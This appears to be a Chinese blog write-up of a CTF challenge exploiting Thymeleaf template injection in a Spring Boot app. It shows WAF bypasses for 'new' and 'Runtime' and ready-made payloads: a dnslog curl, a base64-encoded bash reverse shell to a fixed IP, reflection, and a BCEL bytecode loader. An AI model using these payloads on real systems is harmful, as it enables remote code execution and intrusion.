当前位置: 首页 > news >正文

Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

就是一个低版本的Thymeleaf注入

漏洞点

public class MainController {@GetMapping({"/{language}"})public String test(@PathVariable(name = "language") String language, @RequestParam(required = false) String name, Model model) {if (name != null) {model.addAttribute("name", name);return language + "/game";}return language + "/index";}

可以看见路由和return的值我们都是可以控制的,所以这个很简单,相当于就套一个

__${}__::.x

主要是spel绕过,我们看到waf

if (Pattern.matches(".*new.*|.*untime.*", requestURI))

禁用了new和untime和也就是Runtime

怎么绕过new和Runtime方法很多,其实可以执行命令的还有ProcessBuilder

比如

__${New ProcessBuilder("curl xxx.dnslog.cn").start()}__::.x

怎么绕过new,这里我们这个是关键词

1.使用New就好了

然后反弹shell,需要base64编码解码

http://192.168.238.165:49153/__${New ProcessBuilder("bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").start()}__::.x

然后如果要绕Runtime

可以反射调用

"".getClass().forName("java.lang.Run"+"time").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")

或则动态加载字节码

使用BCEL或则Spring自带的字节码

__${"".getClass().forName("java.lang.Class").getDeclaredMethod("n"+"ewInstance").invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85$96ZDP$7c$bf$9f$e8$c2n$dci$5ch41$d6G$c4$e8z$Y$t8$88$z$v$83$f1$8f$5c$bbQ$e3$c2$P$f0$a3$8cw$w$a2$896$e9$7d$9d$7b$ce$bd$b7$7d$ffx$7d$D$b0$81e$X$OF$5c$8cb$cc$c1$b8$f1$T6$s$5dd0ec$da$c6$MCvK$85Jo3$a4$x$ab$X$M$d6nt$r$Z$K$81$K$e5q$e7$b6$s$e3s$5ekR$a5$UD$827$_x$acL$de$zZ$faZ$b5$Z$fa$82$9d$dd$bd$c0$t$5cl28$5b$a2$d9$d5d$d4S$O$g$fc$8e$fb$w$f2$PN$f6$ee$85li$V$85$d4$96$afj$$n$8ex$x$d1$a2$b5$Y$dcj$d4$89$85$dcWF$3bg$e4$d6$N$d7C$O$ae$8dY$Ps$98$a7$a1$G$f0$b0$80E$86$c1$7f$b4$3d$y$c1$r$7eo$t$86$81$a4$ad$c9$c3$ba$7fRkH$a1$Z$8a$3f$a5$b3N$a8$d5$z$8dt$ebR$f7$92re5$f8$d3C$7b$5b$f2$5e$92$e4J$e5$XZ$d5$b1$K$eb$9b$bf$J$a7q$qd$bbM$84B$8b$40$9d$5c$7b$ks$n$e9$K$9b$7e$8byR$60$e66$b2$7d$94$f9$e4$Z$f9$cc$da3$d8c$C$7bd$b3_E$e4$c9z$dd$b8$l$F$f2$O$Gzd$9e$88$B$a5$X$a4J$e9$tX$97$Pp$O$d7$9e$90$7dL$ea9$e2f$90N$U$87$v2$ec$i1$cd$c7$cd$93J$91$a2$ef$JyX$94$97$u$h$a4$d7F$w$b01d$RPN$96$g$fe$E$93$b3$9a$L$60$C$A$A"))}__::.x  
http://www.lryc.cn/news/392341.html

相关文章:

  • LLM - 神经网络的组成
  • C++:拷贝构造函数
  • 云服务出现故障这样处理
  • CVPR2024自动驾驶轨迹预测方向的论文整理
  • 数据结构——队列练习题
  • PLL和CDR的内部结构及其区别
  • HarmonyOS APP应用开发项目- MCA助手(Day02持续更新中~)
  • 华为交换机 LACP协议
  • node 下载文件到网络共享目录
  • STM32基础知识
  • 安装docker版rabbitmq 3.12
  • c++重定向输出和输出(竞赛讲解)
  • 实在智能对话钉钉:宜搭+实在Agent,AI时代的工作方式
  • MySQL的Docker部署方式
  • 光伏电站数据采集方案(基于工业路由器部署)
  • 一文让你彻底搞懂什么是CDN
  • 1023记录
  • 【并发编程JUC】AQS详解
  • 如何找BMS算法、BMS软件的实习
  • AR视频技术与EasyDSS流媒体视频管理平台:打造沉浸式视频体验
  • 每天一个数据分析题(三百九十九)- 逻辑回归
  • 【ARMv8/v9 GIC 系列 5.2 -- GIC 分组介绍:Group 0 |Group 1| Non-Secure Group 1】
  • 前端代码规范 - 日志打印规范
  • C# 类型转换之显式和隐式
  • Ubuntu多显示器设置不同缩放比例
  • 以太网协议介绍——UDP
  • FFMpeg rtmp 无压缩推送本地yuv文件 压缩推送本地yuv文件
  • PostgreSQL LIMIT 子句
  • 误删分区后的数据拯救:双管齐下恢复策略
  • git 添加本地分支, clean